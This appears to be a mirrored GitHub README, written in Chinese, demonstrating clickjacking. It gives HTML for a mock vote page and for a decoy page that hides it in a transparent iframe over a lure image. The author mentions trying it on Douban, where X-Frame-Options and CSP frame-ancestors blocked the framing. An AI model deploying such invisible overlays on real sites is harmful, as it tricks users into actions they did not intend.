GithubHelp home page GithubHelp logo

click-jacking's Introduction

click-jacking

一个关于点击劫持的小示例,首相看下理论知识

avatar

项目思路

首先,制作一个功能页面,作为被iframe嵌套的功能页面;这个页面的功能就是模仿投票功能,点击按钮时,即可完成投票功能,控制台会同步打印出操作信息。

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    .vote{
      width: 183px;
      margin: 0 auto;
      margin-top: 220px
    }
  </style>
</head>
<body>
  <div class="vote">
    <input type="text" value="5号选手">
    <button>投票</button>
  </div>

  <script>
    var span = document.getElementsByTagName('button')[0]
    span.addEventListener('click', function(){
      console.log('哈哈,谢谢你偷偷帮我投票~')
    })
  </script>
</body>
</html>

avatar

制作一个只有图片的页面,用于迷惑用户进行交互;

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>click jacking demo</title>
  <style>
    body {
      padding: 0;
      margin: 0
    }
    .png {
      height: 100%;
      width: 100%;
    }
    .iframe {
      width: 1440px;
      height: 900px;
      position: absolute;
      top: -0px;
      left: -0px;
      z-index: 3;
      -moz-opacity: 0;
      opacity: 0;
      filter: alpha(opacity=0);
    }
    .btn {
      display: inline-block;
      padding: 2px 3px;
      background: burlywood;
      color: #fff;
      position: absolute;
      top: 221px;
      left: 766px;
      z-index: 2;
      cursor: pointer;
      border-radius: 30%
    }
  </style>
</head>
<body>
  <img class='png' src="./image/clickme.jpeg" alt="">
  <iframe class="iframe" src="./iframe.html" scolling='no' allowTransparency="true"></iframe>
  <span class="btn">click</span>
</body>
</html>

浏览器打开,会发现根据提示点击按钮,会在控制台中打印了相关的信息,就是说,即使我没有在功能页面进行投票操作,可是能投票。 avatar

在迷惑页面中把 iframeopacity 属性值修改成 0.3 ,就能看到这个迷惑的原因了。 avatar

其他

本来想做个坏事的,想要试试用于豆瓣上,直接定位到关注按钮那,不过 iframe 豆瓣的页面时,控制台报错了,这个想要说明的是使用设置X-frame-options属性是真有效的。

avatar

也试过直接内嵌 github 的地址,也会报错,这个错是报跨域的错,不过具体的还不知道是怎么设置防御的。

an ancestor violates the following Content Security Policy directive: “frame-ancestors ...

至此,已经把 点击劫持 的形式演示完毕

click-jacking's People

Contributors

minhuaf avatar

Stargazers

 avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.